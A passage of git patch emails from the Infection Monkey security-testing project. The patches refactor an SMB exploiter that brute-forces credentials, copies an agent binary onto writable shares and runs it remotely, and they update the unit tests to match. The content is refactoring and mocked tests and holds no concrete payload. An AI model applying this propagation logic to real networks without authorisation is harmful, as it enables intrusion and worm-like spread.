SMBRemoteAccessClient, ): tags = EXPLOITER_TAGS.copy() mock_smb_client.query_shared_resources.return_value = SHARED_RESOURECES @@ -165,7 +165,7 @@ def test_copy_file__fails_if_unable_to_connect_to_share( def test_copy_file__fails_if_unable_to_send_file( mock_smb_client: SMBClient, - smb_exploit_client: SMBExploitClient, + smb_exploit_client: SMBRemoteAccessClient, ): tags = EXPLOITER_TAGS.copy() mock_smb_client.query_shared_resources.return_value = SHARED_RESOURECES @@ -180,7 +180,7 @@ def test_copy_file__fails_if_unable_to_send_file( def test_copy_file__success( mock_smb_client: SMBClient, - smb_exploit_client: SMBExploitClient, + smb_exploit_client: SMBRemoteAccessClient, ): tags = EXPLOITER_TAGS.copy() mock_smb_client.query_shared_resources.return_value = SHARED_RESOURECES @@ -191,7 +191,7 @@ def test_copy_file__success( assert tags == EXPLOITER_TAGS.union(SHARE_DISCOVERY_TAGS, COPY_FILE_TAGS) -def test_get_writable_paths(mock_smb_client: SMBClient, smb_exploit_client: SMBExploitClient): +def test_get_writable_paths(mock_smb_client: SMBClient, smb_exploit_client: SMBRemoteAccessClient): mock_smb_client.query_shared_resources.return_value = SHARED_RESOURECES writable_paths = smb_exploit_client.get_writable_paths() From 99378dd9fb2845fbd0dd8aec3a107624db164295 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 23 Mar 2023 13:27:06 -0400 Subject: [PATCH 0879/1338] SMB: Resolve typing error in SMBRemoteAccessClient --- .../exploiters/smb/src/smb_remote_access_client.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_remote_access_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_remote_access_client.py index 45da715959b..0a88dd72b3f 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_remote_access_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_remote_access_client.py @@ -1,5 +1,5 @@ import logging -from pathlib import PurePath +from pathlib import PurePath, PureWindowsPath from typing import List, Set, Tuple, Type from common import OperatingSystem @@ -143,7 +143,7 @@ def _copy_file_to_share( self._smb_client.set_timeout(self._options.agent_binary_upload_timeout) tags.update(COPY_FILE_TAGS) - self._smb_client.send_file(share.name, destination_path, file) + self._smb_client.send_file(share.name, PureWindowsPath(destination_path), file) logger.info( f"Copied monkey agent to remote share '{share.name}' " From daf8e1791fa315910e1f47b9370d7f4f09234d51 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 23 Mar 2023 13:39:28 -0400 Subject: [PATCH 0880/1338] UT: Rename mock_{exploit,remote_access}_client --- .../tools/test_brute_force_exploiter.py | 70 ++++++++++--------- 1 file changed, 36 insertions(+), 34 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py index 3115716e448..2133639c6b3 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py @@ -42,7 +42,7 @@ @pytest.fixture -def mock_exploit_client() -> IRemoteAccessClient: +def mock_remote_access_client() -> IRemoteAccessClient: client = MagicMock(spec=IRemoteAccessClient) client.get_writable_paths.return_value = [] client.get_os.return_value = OperatingSystem.WINDOWS @@ -50,9 +50,9 @@ def mock_exploit_client() -> IRemoteAccessClient: @pytest.fixture -def mock_exploit_client_factory(mock_exploit_client) -> IRemoteAccessClientFactory: +def mock_remote_access_client_factory(mock_remote_access_client) -> IRemoteAccessClientFactory: factory = MagicMock(spec=IRemoteAccessClientFactory) - factory.create.return_value = mock_exploit_client + factory.create.return_value = mock_remote_access_client return factory @@ -81,7 +81,7 @@ def mock_agent_event_publisher() -> IAgentEventPublisher: @pytest.fixture def brute_force_exploiter( - mock_exploit_client_factory: IRemoteAccessClientFactory, + mock_remote_access_client_factory: IRemoteAccessClientFactory, mock_credentials_repository: IPropagationCredentialsRepository, mock_agent_binary_repository: IAgentBinaryRepository, mock_agent_event_publisher: IAgentEventPublisher, @@ -91,7 +91,7 @@ def brute_force_exploiter( AGENT_ID, DESTINATION_PATH, lambda a, b, c: EXECUTE_AGENT_COMMAND, - mock_exploit_client_factory, + mock_remote_access_client_factory, BruteForceCredentialsProvider(mock_credentials_repository, lambda a: a), mock_agent_binary_repository, mock_agent_event_publisher, @@ -119,11 +119,11 @@ def execute_with_tags(_: str, tags: MutableSet[str]): def test_exploit_host__exploit_succeeds( brute_force_exploiter: BruteForceExploiter, - mock_exploit_client: IRemoteAccessClient, + mock_remote_access_client: IRemoteAccessClient, mock_agent_event_publisher: IAgentEventPublisher, ): - mock_exploit_client.copy_file.side_effect = copy_file_with_tags - mock_exploit_client.execute_detached.side_effect = execute_with_tags + mock_remote_access_client.copy_file.side_effect = copy_file_with_tags + mock_remote_access_client.execute_detached.side_effect = execute_with_tags result = run_brute_force_exploiter(brute_force_exploiter) assert result.exploitation_success @@ -162,11 +162,11 @@ def execute_with_tags_fails(_: str, tags: MutableSet[str]): def test_exploit_host__copy_fails( brute_force_exploiter: BruteForceExploiter, - mock_exploit_client: IRemoteAccessClient, + mock_remote_access_client: IRemoteAccessClient, mock_agent_event_publisher: IAgentEventPublisher, ): - mock_exploit_client.copy_file.side_effect = copy_file_with_tags_fails - mock_exploit_client.execute_detached.side_effect = execute_with_tags + mock_remote_access_client.copy_file.side_effect = copy_file_with_tags_fails + mock_remote_access_client.execute_detached.side_effect = execute_with_tags result = run_brute_force_exploiter(brute_force_exploiter) assert result.exploitation_success @@ -204,16 +204,18 @@ def mock_copy_file(_: bytes, destination_path: PurePath, __: MutableSet[str]) -> def test_exploit_host__copy_tries_other_paths( brute_force_exploiter: BruteForceExploiter, - mock_exploit_client: IRemoteAccessClient, + mock_remote_access_client: IRemoteAccessClient, ): - mock_exploit_client.copy_file.side_effect = mock_copy_file - mock_exploit_client.get_writable_paths.return_value = WRITABLE_PATH_CANDIDATES + mock_remote_access_client.copy_file.side_effect = mock_copy_file + mock_remote_access_client.get_writable_paths.return_value = WRITABLE_PATH_CANDIDATES result = run_brute_force_exploiter(brute_force_exploiter) - copy_file_called_with_paths = [c[0][1] for c in mock_exploit_client.copy_file.call_args_list] + copy_file_called_with_paths = [ + c[0][1] for c in mock_remote_access_client.copy_file.call_args_list + ] - assert mock_exploit_client.get_writable_paths.called - assert mock_exploit_client.copy_file.call_count == 5 + assert mock_remote_access_client.get_writable_paths.called + assert mock_remote_access_client.copy_file.call_count == 5 assert copy_file_called_with_paths == [ DESTINATION_PATH, *[p / DESTINATION_PATH.name for p in WRITABLE_PATH_CANDIDATES[:-1]], @@ -238,34 +240,34 @@ def __call__(self, *args: Any, **kwds: Any) -> Any: @pytest.mark.parametrize("expected_last_path", [p / DESTINATION_PATH.name for p in OTHER_PATHS]) def test_exploit_host__can_interrupt_while_trying_other_paths( brute_force_exploiter: BruteForceExploiter, - mock_exploit_client: IRemoteAccessClient, + mock_remote_access_client: IRemoteAccessClient, expected_last_path: PurePath, ): my_interrupt = Event() - mock_exploit_client.copy_file = interrupt_at_path(my_interrupt, expected_last_path) - mock_exploit_client.get_writable_paths.return_value = OTHER_PATHS + mock_remote_access_client.copy_file = interrupt_at_path(my_interrupt, expected_last_path) + mock_remote_access_client.get_writable_paths.return_value = OTHER_PATHS result = run_brute_force_exploiter(brute_force_exploiter, my_interrupt) - assert mock_exploit_client.copy_file.last_path == expected_last_path + assert mock_remote_access_client.copy_file.last_path == expected_last_path assert not result.propagation_success def test_exploit_host__build_command( brute_force_exploiter: BruteForceExploiter, - mock_exploit_client: IRemoteAccessClient, + mock_remote_access_client: IRemoteAccessClient, ): run_brute_force_exploiter(brute_force_exploiter) - mock_exploit_client.execute_detached.assert_called_with(EXECUTE_AGENT_COMMAND, set()) + mock_remote_access_client.execute_detached.assert_called_with(EXECUTE_AGENT_COMMAND, set()) def test_exploit_host__execute_detached_fails( brute_force_exploiter: BruteForceExploiter, - mock_exploit_client: IRemoteAccessClient, + mock_remote_access_client: IRemoteAccessClient, mock_agent_event_publisher: IAgentEventPublisher, ): - mock_exploit_client.copy_file.side_effect = copy_file_with_tags - mock_exploit_client.execute_detached.side_effect = execute_with_tags_fails + mock_remote_access_client.copy_file.side_effect = copy_file_with_tags + mock_remote_access_client.execute_detached.side_effect = execute_with_tags_fails result = run_brute_force_exploiter(brute_force_exploiter) published_events = mock_agent_event_publisher.get_published_events() @@ -295,10 +297,10 @@ def test_exploit_host__execute_detached_fails( def test_exploit_host__exploit_fails_on_remote_authentication_error( brute_force_exploiter: BruteForceExploiter, - mock_exploit_client: IRemoteAccessClient, + mock_remote_access_client: IRemoteAccessClient, mock_agent_event_publisher: IAgentEventPublisher, ): - mock_exploit_client.login.side_effect = RemoteAuthenticationError() + mock_remote_access_client.login.side_effect = RemoteAuthenticationError() result = run_brute_force_exploiter(brute_force_exploiter) published_events = mock_agent_event_publisher.get_published_events() @@ -315,10 +317,10 @@ def test_exploit_host__exploit_fails_on_remote_authentication_error( def test_exploit_host__propagation_fails_on_execute_error( brute_force_exploiter: BruteForceExploiter, - mock_exploit_client: IRemoteAccessClient, + mock_remote_access_client: IRemoteAccessClient, mock_agent_event_publisher: IAgentEventPublisher, ): - mock_exploit_client.execute_detached.side_effect = Exception() + mock_remote_access_client.execute_detached.side_effect = Exception() result = run_brute_force_exploiter(brute_force_exploiter) published_events = mock_agent_event_publisher.get_published_events() @@ -333,24 +335,24 @@ def test_exploit_host__propagation_fails_on_execute_error( def test_exploit_host__exploit_skipped_on_interrupt( - brute_force_exploiter: BruteForceExploiter, mock_exploit_client: IRemoteAccessClient + brute_force_exploiter: BruteForceExploiter, mock_remote_access_client: IRemoteAccessClient ): interrupt = Event() interrupt.set() result = run_brute_force_exploiter(brute_force_exploiter, interrupt) assert result == ExploiterResultData() - assert not mock_exploit_client.login.called + assert not mock_remote_access_client.login.called @pytest.mark.parametrize("os", [OperatingSystem.WINDOWS, OperatingSystem.LINUX]) def test_exploit_host__correct_agent_binary_downloaded( os: OperatingSystem, brute_force_exploiter: BruteForceExploiter, - mock_exploit_client: IRemoteAccessClient, + mock_remote_access_client: IRemoteAccessClient, mock_agent_binary_repository: IAgentBinaryRepository, ): - mock_exploit_client.get_os.return_value = os + mock_remote_access_client.get_os.return_value = os run_brute_force_exploiter(brute_force_exploiter) mock_agent_binary_repository.get_agent_binary.assert_called_once() From eb404b478384780866ac51f67fd54b639b54a9f5 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 23 Mar 2023 13:44:39 -0400 Subject: [PATCH 0881/1338] Agent: Replace execute_detached() with execute_agent() --- .../exploit/tools/brute_force_exploiter.py | 12 ++++-------- .../exploit/tools/i_remote_access_client.py | 12 ++++++------ .../exploit/tools/test_brute_force_exploiter.py | 13 ++++++------- 3 files changed, 16 insertions(+), 21 deletions(-) diff --git a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py index 8f27b41aca2..c4f1d06476d 100644 --- a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py +++ b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py @@ -38,7 +38,6 @@ def __init__( exploiter_name: str, agent_id: AgentID, destination_path: PurePath, - build_command: Callable[[OperatingSystem, PurePath, PurePath], str], exploit_client_factory: IRemoteAccessClientFactory, get_credentials: Callable[[], Iterable[Credentials]], agent_binary_repository: IAgentBinaryRepository, @@ -49,7 +48,6 @@ def __init__( :param exploiter_name: The name of the exploiter :param agent_id: The ID of the agent that is running this exploiter :param destination_path: The destination path into which copy the agent - :param build_command: A function that builds a command to propagate the Monkey agent :param exploit_client_factory: A factory that creates the exploit client :param get_credentials: A function that provides credentials for brute-forcing :param agent_binary_repository: A repository that provides the agent binary @@ -59,7 +57,6 @@ def __init__( self._exploiter_name = exploiter_name self._agent_id = agent_id self._destination_path = destination_path - self._build_command = build_command self._exploit_client_factory = exploit_client_factory self._get_credentials = get_credentials self._agent_binary_repository = agent_binary_repository @@ -128,21 +125,20 @@ def _propagate( ): target_host_os = exploit_client.get_os() copy_file_tags: Set[str] = set() - execute_command_tags: Set[str] = set() + execute_agent_tags: Set[str] = set() timestamp = time() try: file_path = self._copy_agent_binary( target_host_os, self._destination_path, copy_file_tags, exploit_client, interrupt ) - command = self._build_command(target_host_os, file_path, self._destination_path) - exploit_client.execute_detached(command, execute_command_tags) + exploit_client.execute_agent(file_path, execute_agent_tags) except (RemoteFileCopyError, RemoteCommandExecutionError) as err: self._publish_propagation_event( host, success=False, time=timestamp, - tags=self._tags.union(copy_file_tags, execute_command_tags), + tags=self._tags.union(copy_file_tags, execute_agent_tags), error_message=str(err), ) raise err @@ -151,7 +147,7 @@ def _propagate( host, success=True, time=timestamp, - tags=self._tags.union(copy_file_tags, execute_command_tags), + tags=self._tags.union(copy_file_tags, execute_agent_tags), ) def _copy_agent_binary( diff --git a/monkey/infection_monkey/exploit/tools/i_remote_access_client.py b/monkey/infection_monkey/exploit/tools/i_remote_access_client.py index 1562f68b9a0..7bd4ec9b9ac 100644 --- a/monkey/infection_monkey/exploit/tools/i_remote_access_client.py +++ b/monkey/infection_monkey/exploit/tools/i_remote_access_client.py @@ -80,17 +80,17 @@ def get_writable_paths(self) -> Collection[PurePath]: pass @abstractmethod - def execute_detached(self, command: str, tags: Set[str]): + def execute_agent(self, agent_binary_path: PurePath, tags: Set[str]): """ - Execute a command on the remote host in a detached process + Execute the agent on the remote host in a detached process - The command will be executed in a detached process, which allows the client to disconnect - from the remote host while allowing the command to continue running. + The agent will be executed in a detached process, which allows the client to disconnect + from the remote host while allowing the agent to continue running. The `tags` argument will be updated with the techniques used to execute the command. - :param command: Command to execute - :param tags: Tags describing the techniques used to execute the command + :param agent_binary_path: The path of the agent binary on the remote system + :param tags: Tags describing the techniques used to execute the agent :raises RemoteCommandExecutionError: If execution failed """ pass diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py index 2133639c6b3..9f5ab9e8c14 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py @@ -90,7 +90,6 @@ def brute_force_exploiter( EXPLOITER_NAME, AGENT_ID, DESTINATION_PATH, - lambda a, b, c: EXECUTE_AGENT_COMMAND, mock_remote_access_client_factory, BruteForceCredentialsProvider(mock_credentials_repository, lambda a: a), mock_agent_binary_repository, @@ -123,7 +122,7 @@ def test_exploit_host__exploit_succeeds( mock_agent_event_publisher: IAgentEventPublisher, ): mock_remote_access_client.copy_file.side_effect = copy_file_with_tags - mock_remote_access_client.execute_detached.side_effect = execute_with_tags + mock_remote_access_client.execute_agent.side_effect = execute_with_tags result = run_brute_force_exploiter(brute_force_exploiter) assert result.exploitation_success @@ -166,7 +165,7 @@ def test_exploit_host__copy_fails( mock_agent_event_publisher: IAgentEventPublisher, ): mock_remote_access_client.copy_file.side_effect = copy_file_with_tags_fails - mock_remote_access_client.execute_detached.side_effect = execute_with_tags + mock_remote_access_client.execute_agent.side_effect = execute_with_tags result = run_brute_force_exploiter(brute_force_exploiter) assert result.exploitation_success @@ -258,16 +257,16 @@ def test_exploit_host__build_command( mock_remote_access_client: IRemoteAccessClient, ): run_brute_force_exploiter(brute_force_exploiter) - mock_remote_access_client.execute_detached.assert_called_with(EXECUTE_AGENT_COMMAND, set()) + mock_remote_access_client.execute_agent.assert_called_with(DESTINATION_PATH, set()) -def test_exploit_host__execute_detached_fails( +def test_exploit_host__execute_agent_fails( brute_force_exploiter: BruteForceExploiter, mock_remote_access_client: IRemoteAccessClient, mock_agent_event_publisher: IAgentEventPublisher, ): mock_remote_access_client.copy_file.side_effect = copy_file_with_tags - mock_remote_access_client.execute_detached.side_effect = execute_with_tags_fails + mock_remote_access_client.execute_agent.side_effect = execute_with_tags_fails result = run_brute_force_exploiter(brute_force_exploiter) published_events = mock_agent_event_publisher.get_published_events() @@ -320,7 +319,7 @@ def test_exploit_host__propagation_fails_on_execute_error( mock_remote_access_client: IRemoteAccessClient, mock_agent_event_publisher: IAgentEventPublisher, ): - mock_remote_access_client.execute_detached.side_effect = Exception() + mock_remote_access_client.execute_agent.side_effect = Exception() result = run_brute_force_exploiter(brute_force_exploiter) published_events = mock_agent_event_publisher.get_published_events() From 60e95536acb33294e566ae6981270bc03d7aa747 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 23 Mar 2023 13:55:58 -0400 Subject: [PATCH 0882/1338] UT: Rename smb_{exploit,remote_access}_client fixture --- .../smb/test_smb_remote_access_client.py | 58 +++++++++---------- 1 file changed, 29 insertions(+), 29 deletions(-) diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_remote_access_client.py b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_remote_access_client.py index 14232681a42..08df856437a 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_remote_access_client.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_remote_access_client.py @@ -57,143 +57,143 @@ def mock_agent_binary_repository() -> IAgentBinaryRepository: @pytest.fixture -def smb_exploit_client(mock_smb_client) -> SMBRemoteAccessClient: +def smb_remote_access_client(mock_smb_client) -> SMBRemoteAccessClient: return SMBRemoteAccessClient(TARGET_HOST, SMBOptions(), mock_smb_client) def test_login__succeeds( - smb_exploit_client: SMBRemoteAccessClient, + smb_remote_access_client: SMBRemoteAccessClient, ): tags = EXPLOITER_TAGS.copy() - smb_exploit_client.login(FULL_CREDENTIALS[0], tags) + smb_remote_access_client.login(FULL_CREDENTIALS[0], tags) assert tags == EXPLOITER_TAGS.union(LOGIN_TAGS) def test_login__fails( mock_smb_client: SMBClient, - smb_exploit_client: SMBRemoteAccessClient, + smb_remote_access_client: SMBRemoteAccessClient, ): tags = EXPLOITER_TAGS.copy() mock_smb_client.connect_with_user.side_effect = Exception() with pytest.raises(RemoteAuthenticationError): - smb_exploit_client.login(FULL_CREDENTIALS[0], tags) + smb_remote_access_client.login(FULL_CREDENTIALS[0], tags) assert tags == EXPLOITER_TAGS.union(LOGIN_TAGS) def test_execute__fails_if_not_authenticated( - smb_exploit_client: SMBRemoteAccessClient, + smb_remote_access_client: SMBRemoteAccessClient, ): tags = EXPLOITER_TAGS.copy() with pytest.raises(RemoteCommandExecutionError): - smb_exploit_client.execute_detached(COMMAND, tags) + smb_remote_access_client.execute_detached(COMMAND, tags) assert tags == EXPLOITER_TAGS def test_execute__fails_if_command_not_executed( mock_smb_client: SMBClient, - smb_exploit_client: SMBRemoteAccessClient, + smb_remote_access_client: SMBRemoteAccessClient, ): tags = EXPLOITER_TAGS.copy() mock_smb_client.run_service.side_effect = Exception("file") - smb_exploit_client.login(FULL_CREDENTIALS[0], set()) + smb_remote_access_client.login(FULL_CREDENTIALS[0], set()) with pytest.raises(RemoteCommandExecutionError): - smb_exploit_client.execute_detached(COMMAND, tags) + smb_remote_access_client.execute_detached(COMMAND, tags) assert tags == EXPLOITER_TAGS.union(EXECUTION_TAGS) def test_execute__succeeds( mock_smb_client: SMBClient, - smb_exploit_client: SMBRemoteAccessClient, + smb_remote_access_client: SMBRemoteAccessClient, ): tags = EXPLOITER_TAGS.copy() - smb_exploit_client.login(FULL_CREDENTIALS[0], set()) - smb_exploit_client.execute_detached(COMMAND, tags) + smb_remote_access_client.login(FULL_CREDENTIALS[0], set()) + smb_remote_access_client.execute_detached(COMMAND, tags) assert tags == EXPLOITER_TAGS.union(EXECUTION_TAGS) def test_copy_file__fails_if_not_authenticated( mock_smb_client: SMBClient, - smb_exploit_client: SMBRemoteAccessClient, + smb_remote_access_client: SMBRemoteAccessClient, ): tags = EXPLOITER_TAGS.copy() mock_smb_client.connected.return_value = False with pytest.raises(RemoteFileCopyError): - smb_exploit_client.copy_file(FILE, DESTINATION_PATH, tags) + smb_remote_access_client.copy_file(FILE, DESTINATION_PATH, tags) assert tags == EXPLOITER_TAGS def test_copy_file__fails_if_no_shares_found( mock_smb_client: SMBClient, - smb_exploit_client: SMBRemoteAccessClient, + smb_remote_access_client: SMBRemoteAccessClient, ): tags = EXPLOITER_TAGS.copy() mock_smb_client.query_shared_resources.return_value = () - smb_exploit_client.login(FULL_CREDENTIALS[0], set()) + smb_remote_access_client.login(FULL_CREDENTIALS[0], set()) with pytest.raises(RemoteFileCopyError): - smb_exploit_client.copy_file(FILE, DESTINATION_PATH, tags) + smb_remote_access_client.copy_file(FILE, DESTINATION_PATH, tags) assert tags == EXPLOITER_TAGS.union(SHARE_DISCOVERY_TAGS) def test_copy_file__fails_if_unable_to_connect_to_share( mock_smb_client: SMBClient, - smb_exploit_client: SMBRemoteAccessClient, + smb_remote_access_client: SMBRemoteAccessClient, ): tags = EXPLOITER_TAGS.copy() mock_smb_client.query_shared_resources.return_value = SHARED_RESOURECES mock_smb_client.connect_to_share.side_effect = Exception("failed") - smb_exploit_client.login(FULL_CREDENTIALS[0], set()) + smb_remote_access_client.login(FULL_CREDENTIALS[0], set()) with pytest.raises(RemoteFileCopyError): - smb_exploit_client.copy_file(FILE, DESTINATION_PATH, tags) + smb_remote_access_client.copy_file(FILE, DESTINATION_PATH, tags) assert tags == EXPLOITER_TAGS.union(SHARE_DISCOVERY_TAGS) def test_copy_file__fails_if_unable_to_send_file( mock_smb_client: SMBClient, - smb_exploit_client: SMBRemoteAccessClient, + smb_remote_access_client: SMBRemoteAccessClient, ): tags = EXPLOITER_TAGS.copy() mock_smb_client.query_shared_resources.return_value = SHARED_RESOURECES mock_smb_client.send_file.side_effect = Exception("file") - smb_exploit_client.login(FULL_CREDENTIALS[0], set()) + smb_remote_access_client.login(FULL_CREDENTIALS[0], set()) with pytest.raises(RemoteFileCopyError): - smb_exploit_client.copy_file(FILE, DESTINATION_PATH, tags) + smb_remote_access_client.copy_file(FILE, DESTINATION_PATH, tags) assert tags == EXPLOITER_TAGS.union(SHARE_DISCOVERY_TAGS, COPY_FILE_TAGS) def test_copy_file__success( mock_smb_client: SMBClient, - smb_exploit_client: SMBRemoteAccessClient, + smb_remote_access_client: SMBRemoteAccessClient, ): tags = EXPLOITER_TAGS.copy() mock_smb_client.query_shared_resources.return_value = SHARED_RESOURECES - smb_exploit_client.login(FULL_CREDENTIALS[0], set()) + smb_remote_access_client.login(FULL_CREDENTIALS[0], set()) - smb_exploit_client.copy_file(FILE, DESTINATION_PATH, tags) + smb_remote_access_client.copy_file(FILE, DESTINATION_PATH, tags) assert tags == EXPLOITER_TAGS.union(SHARE_DISCOVERY_TAGS, COPY_FILE_TAGS) -def test_get_writable_paths(mock_smb_client: SMBClient, smb_exploit_client: SMBRemoteAccessClient): +def test_get_writable_paths(mock_smb_client: SMBClient, smb_remote_access_client: SMBRemoteAccessClient): mock_smb_client.query_shared_resources.return_value = SHARED_RESOURECES - writable_paths = smb_exploit_client.get_writable_paths() + writable_paths = smb_remote_access_client.get_writable_paths() assert len(writable_paths) == 2 assert SHARED_RESOURECES[0].path in writable_paths From a048e50af10d6a2f4a2f415a3218e65636a10513 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 23 Mar 2023 14:03:41 -0400 Subject: [PATCH 0883/1338] SMB: Implement SMBRemoteAccessClient.execute_agent() --- .../agent_plugins/exploiters/smb/src/plugin.py | 12 +++++++++--- .../smb/src/smb_remote_access_client.py | 8 +++++--- .../smb/src/smb_remote_access_client_factory.py | 8 ++++++-- .../smb/test_smb_remote_access_client.py | 17 +++++++++++------ 4 files changed, 31 insertions(+), 14 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/plugin.py b/monkey/agent_plugins/exploiters/smb/src/plugin.py index 2642c5946ad..0f721452b18 100644 --- a/monkey/agent_plugins/exploiters/smb/src/plugin.py +++ b/monkey/agent_plugins/exploiters/smb/src/plugin.py @@ -67,14 +67,20 @@ def run( logger.exception(msg) return ExploiterResultData(error_message=msg) - command_builder = partial(build_smb_command, servers, current_depth) - smb_exploit_client_factory = SMBRemoteAccessClientFactory(host, smb_options) + command_builder = partial( + build_smb_command, + servers, + current_depth, + remote_agent_binary_destination_path=get_agent_dst_path(host), + ) + smb_exploit_client_factory = SMBRemoteAccessClientFactory( + host, smb_options, command_builder + ) brute_force_exploiter = BruteForceExploiter( self._plugin_name, self._agent_id, get_agent_dst_path(host), - command_builder, smb_exploit_client_factory, self._credentials_provider, self._agent_binary_repository, diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_remote_access_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_remote_access_client.py index 0a88dd72b3f..6ee12c359a5 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_remote_access_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_remote_access_client.py @@ -1,6 +1,6 @@ import logging from pathlib import PurePath, PureWindowsPath -from typing import List, Set, Tuple, Type +from typing import Callable, List, Set, Tuple, Type from common import OperatingSystem from common.credentials import Credentials @@ -53,10 +53,12 @@ def __init__( self, host: TargetHost, options: SMBOptions, + command_builder: Callable[[OperatingSystem, PurePath], str], smb_client: SMBClient, ): self._host = host self._options = options + self._command_builder = command_builder self._smb_client = smb_client def login(self, credentials: Credentials, tags: Set[str]): @@ -79,14 +81,14 @@ def _raise_if_not_authenticated(self, error_type: Type[Exception]): def get_os(self) -> OperatingSystem: return OperatingSystem.WINDOWS - def execute_detached(self, command: str, tags: Set[str]): + def execute_agent(self, agent_binary_path: PurePath, tags: Set[str]): self._raise_if_not_authenticated(RemoteCommandExecutionError) try: tags.update(EXECUTION_TAGS) self._smb_client.run_service( SERVICE_NAME, - command, + self._command_builder(self.get_os(), agent_binary_path), self._host, SMB_PORTS, self._options.smb_connect_timeout, diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_remote_access_client_factory.py b/monkey/agent_plugins/exploiters/smb/src/smb_remote_access_client_factory.py index cf519c1463c..d935af8c6b5 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_remote_access_client_factory.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_remote_access_client_factory.py @@ -1,5 +1,7 @@ -from typing import Any +from pathlib import PurePath +from typing import Any, Callable +from common import OperatingSystem from infection_monkey.exploit.tools import IRemoteAccessClientFactory from infection_monkey.i_puppet import TargetHost @@ -13,9 +15,11 @@ def __init__( self, host: TargetHost, options: SMBOptions, + command_builder: Callable[[OperatingSystem, PurePath], str], ): self._host = host self._options = options + self._command_builder = command_builder def create(self, **kwargs: Any) -> SMBRemoteAccessClient: - return SMBRemoteAccessClient(self._host, self._options, SMBClient()) + return SMBRemoteAccessClient(self._host, self._options, self._command_builder, SMBClient()) diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_remote_access_client.py b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_remote_access_client.py index 08df856437a..6922b50c703 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_remote_access_client.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_remote_access_client.py @@ -26,7 +26,6 @@ from infection_monkey.i_puppet import TargetHost EXPLOITER_TAGS = {"smb-exploiter", "unit-test"} -COMMAND = "command" CREDENTIALS: List[Credentials] = [] DESTINATION_PATH = PureWindowsPath("C:\\destination_path") FILE = b"file content" @@ -39,6 +38,10 @@ TARGET_HOST = TargetHost(ip=IPv4Address("1.1.1.1"), operating_system=OperatingSystem.WINDOWS) +def stub_command_builder(*args, **kwargs): + return "command" + + @pytest.fixture def mock_smb_client(): client = MagicMock(spec=SMBClient) @@ -58,7 +61,7 @@ def mock_agent_binary_repository() -> IAgentBinaryRepository: @pytest.fixture def smb_remote_access_client(mock_smb_client) -> SMBRemoteAccessClient: - return SMBRemoteAccessClient(TARGET_HOST, SMBOptions(), mock_smb_client) + return SMBRemoteAccessClient(TARGET_HOST, SMBOptions(), stub_command_builder, mock_smb_client) def test_login__succeeds( @@ -90,7 +93,7 @@ def test_execute__fails_if_not_authenticated( tags = EXPLOITER_TAGS.copy() with pytest.raises(RemoteCommandExecutionError): - smb_remote_access_client.execute_detached(COMMAND, tags) + smb_remote_access_client.execute_agent(DESTINATION_PATH, tags) assert tags == EXPLOITER_TAGS @@ -104,7 +107,7 @@ def test_execute__fails_if_command_not_executed( smb_remote_access_client.login(FULL_CREDENTIALS[0], set()) with pytest.raises(RemoteCommandExecutionError): - smb_remote_access_client.execute_detached(COMMAND, tags) + smb_remote_access_client.execute_agent(DESTINATION_PATH, tags) assert tags == EXPLOITER_TAGS.union(EXECUTION_TAGS) @@ -116,7 +119,7 @@ def test_execute__succeeds( tags = EXPLOITER_TAGS.copy() smb_remote_access_client.login(FULL_CREDENTIALS[0], set()) - smb_remote_access_client.execute_detached(COMMAND, tags) + smb_remote_access_client.execute_agent(DESTINATION_PATH, tags) assert tags == EXPLOITER_TAGS.union(EXECUTION_TAGS) @@ -191,7 +194,9 @@ def test_copy_file__success( assert tags == EXPLOITER_TAGS.union(SHARE_DISCOVERY_TAGS, COPY_FILE_TAGS) -def test_get_writable_paths(mock_smb_client: SMBClient, smb_remote_access_client: SMBRemoteAccessClient): +def test_get_writable_paths( + mock_smb_client: SMBClient, smb_remote_access_client: SMBRemoteAccessClient +): mock_smb_client.query_shared_resources.return_value = SHARED_RESOURECES writable_paths = smb_remote_access_client.get_writable_paths() From aa5632fd8ddc0e8a02703d9965674eac045c5b30 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Thu, 23 Mar 2023 